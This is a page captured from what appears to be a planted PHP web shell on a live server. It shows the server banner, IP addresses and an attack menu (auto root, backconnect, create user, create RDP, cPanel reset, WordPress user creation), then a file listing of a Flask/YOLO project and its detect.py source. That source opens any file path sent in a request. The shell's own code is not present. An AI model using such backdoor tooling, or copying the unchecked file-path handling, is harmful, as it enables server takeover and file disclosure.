Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.117.132.49
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
explore
[ DIR ]
drwxr-xr-x
mara1_model
[ DIR ]
drwxr-xr-x
nltk_data
[ DIR ]
drwxr-xr-x
pythainlp_data
[ DIR ]
drwxr-xr-x
runs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
yolo8
[ DIR ]
drwxr-xr-x
. htaccess
417
B
-rwxr-xr-x
.htaccess
197
B
-rwxr-xr-x
app.log
66
B
-rwxr-xr-x
app.py
16.16
KB
-rwxr-xr-x
app.wsgi
568
B
-rwxr-xr-x
blog_ttt_website.py
5.07
KB
-rwxr-xr-x
config.py
485
B
-rwxr-xr-x
content_content_image_ram.py
11.07
KB
-rw-r--r--
content_main_ram.py
15.99
KB
-rw-r--r--
detect.py
8.16
KB
-rwxr-xr-x
explore.py
11.4
KB
-rw-r--r--
json_logfile.json
18
B
-rwxr-xr-x
keywords.json
203
B
-rw-r--r--
locations.json
299
B
-rw-r--r--
read_virus_files_php.py
2.6
KB
-rwxr-xr-x
table.csv
56.2
KB
-rw-r--r--
travel.py
6.89
KB
-rw-r--r--
travel_action.py
10.72
KB
-rw-r--r--
travel_mara1.py
12.6
KB
-rw-r--r--
travel_nltk_base.py
5.21
KB
-rw-r--r--
travel_pythainlp.py
9.37
KB
-rw-r--r--
udo systemctl daemon-reload
1.07
KB
-rwxr-xr-x
udo systemctl restart apache2
1.25
KB
-rwxr-xr-x
your_flask_service.log
1.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : detect.py
#/var/www/website2023/py.afaa.website/detect.py from flask import jsonify, request from PIL import Image import numpy as np import logging import os from ultralytics import YOLO from logging.handlers import RotatingFileHandler import time from threading import Thread from collections import deque import re import uuid import json # app = Flask(__name__) model = YOLO("yolo8/yolov8n.pt") logger = logging.getLogger('YOLOv8Logger') logger.setLevel(logging.INFO) handler = RotatingFileHandler('/var/log/python/flask_app.log', maxBytes=100000, backupCount=1) handler.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) logger.addHandler(handler) MAX_LOG_SIZE = 1000 log_count = 0 temp_speed_info = None logs = deque(maxlen=MAX_LOG_SIZE) image_processed = False # @app.route('/api/analyze/image', methods=['POST']) def analyze_image(request): global image_processed try: request_data = request.get_json() if not request_data or 'FilePath' not in request_data: raise ValueError("FilePath is required in the request.") image_path = request_data['FilePath'] if not os.path.exists(image_path): raise FileNotFoundError(f"Image path does not exist: {image_path}") with Image.open(image_path) as image: image = image.convert("RGB") image_np = np.array(image) # Convert PIL Image to NumPy array image_np = image_np[:, :, ::-1] # Convert RGB to BGR start_time = time.time() # Start time measurement results = model(image_np) # Pass NumPy array to YOLOv8 model end_time = time.time() # End time measurement inference_time = (end_time - start_time) * 1000 # Convert to milliseconds logger.info(f"Inference time: {inference_time:.2f}ms") description = [] if hasattr(results, 'boxes'): boxes = results.boxes for box in boxes: x1, y1, x2, y2, conf, cls = box.tolist() class_name = results.names[int(cls)] description.append(f"{class_name} detected with confidence {conf:.2f}") logger.info(f"Detected Boxes: {boxes}") image_processed = True #return jsonify({"description": " ".join(description)}) last_description = " ".join(description) image_processed = True #return jsonify({"description": last_description}) # คืนค่า description แทนที่จะเป็น last_description return jsonify({"description": " ".join(description)}) except Exception as e: logger.error(f"Unexpected error: {e}", exc_info=True) return jsonify({"error": str(e)}), 500 # ตัวแปรสำหรับติดตาม log ล่าสุด last_log = None # เพิ่มตัวแปรนี้ที่ส่วนบนของโค้ดของคุณ processed_logs = set() # ฟังก์ชัน parse_log_line ปรับให้สร้าง dictionary เท่านั้น def parse_log_line(line): global log_count, temp_speed_info # ปรับปรุง regex เพื่อจับข้อมูลทั้งหมดก่อน "ms" object_info = re.search(r'0: (\d+x\d+) (.+), (\d+\.\d+)ms', line) speed_info = re.search(r'(\d+\.\d+)ms preprocess, (\d+\.\d+)ms inference', line) log_data = {} if object_info: log_data["sizeimage"] = object_info.group(1) log_data["prompt"] = object_info.group(2) # จับข้อมูลทั้งหมดก่อน "ms" log_data["Speed"] = object_info.group(3) if temp_speed_info: log_data["preprocess"] = temp_speed_info temp_speed_info = None log_count += 1 log_data["NO"] = log_count log_data["ID"] = log_count return log_data elif speed_info: temp_speed_info = speed_info.group(1) + "ms" return None is_running = True def write_logs_to_json_file(): logs_data = {"logs": list(logs)} with open('/var/log/python/json_logfile.json', 'w') as json_file: json.dump(logs_data, json_file, indent=4) def stop_thread(): global is_running is_running = False # ตัวแปรสำหรับติดตาม log ล่าสุดที่ถูกอ่าน last_read_log_line = None def read_and_process_logs(logfile_path): global logs, is_running, image_processed, last_read_log_line while is_running: if image_processed: with open(logfile_path, 'r') as file: lines = file.readlines() new_lines = lines[lines.index(last_read_log_line) + 1:] if last_read_log_line in lines else lines for line in new_lines: log_data = parse_log_line(line.strip()) if log_data: logs.append(log_data) last_read_log_line = line.strip() image_processed = False # อ่านข้อมูลที่มีอยู่ในไฟล์ JSON และเพิ่มเฉพาะ log ใหม่ try: with open('/var/log/python/json_logfile.json', 'r+') as json_file: existing_logs = json.load(json_file).get("logs", []) existing_ids = {log["ID"] for log in existing_logs} new_logs = [log for log in logs if log["ID"] not in existing_ids] if new_logs: existing_logs.extend(new_logs) json_file.seek(0) json_file.truncate() json_file.write(json.dumps({"logs": existing_logs}, indent=4)) logs.clear() except (FileNotFoundError, json.JSONDecodeError): # สร้างไฟล์ใหม่หรือจัดการกับข้อผิดพลาด JSON with open('/var/log/python/json_logfile.json', 'w') as json_file: json_file.write(json.dumps({"logs": list(logs)}, indent=4)) logs.clear() time.sleep(5) # หน่วงเวลาเพื่อลดการโหลดต่อระบบไฟล์ # ... # จัดการไฟล์ log และ JSON ก่อนเริ่มต้นแอป def clear_logfile(logfile_path, json_logfile_path): """ล้างเนื้อหาของไฟล์ log และ JSON.""" with open(logfile_path, 'w') as file: file.truncate() with open(json_logfile_path, 'w') as json_file: json_file.truncate() logfile_path = '/var/log/python/logfile.txt' json_logfile_path = '/var/log/python/json_logfile.json' # ตรวจสอบให้แน่ใจว่าไฟล์ทั้งสองมีอยู่จริงและถูกต้อง clear_logfile(logfile_path, json_logfile_path) # ... log_thread = Thread(target=read_and_process_logs, args=(logfile_path,)) log_thread.start() # @app.route('/get_logs', methods=['GET']) def get_logs(): try: with open('/var/log/python/json_logfile.json', 'r') as json_file: logs_data = json.load(json_file) if not logs_data["logs"]: return jsonify({"error": "No logs available"}), 404 latest_log = max(logs_data["logs"], key=lambda log: log["ID"]) last_description = "No description available" # ตัวอย่างข้อความเริ่มต้น # รวมข้อมูลจาก last_description และ latest_log response = { "latest_log": latest_log, "latest_description": last_description } return jsonify(response) except Exception as e: return jsonify({"error": str(e)}), 500 # if __name__ == "__main__": # # ไม่จำเป็นต้องใช้ @app.before_first_request ในที่นี้ # log_thread = Thread(target=read_and_process_logs, args=(logfile_path,)) # log_thread.start() # app.run(host='0.0.0.0', port=420)
Close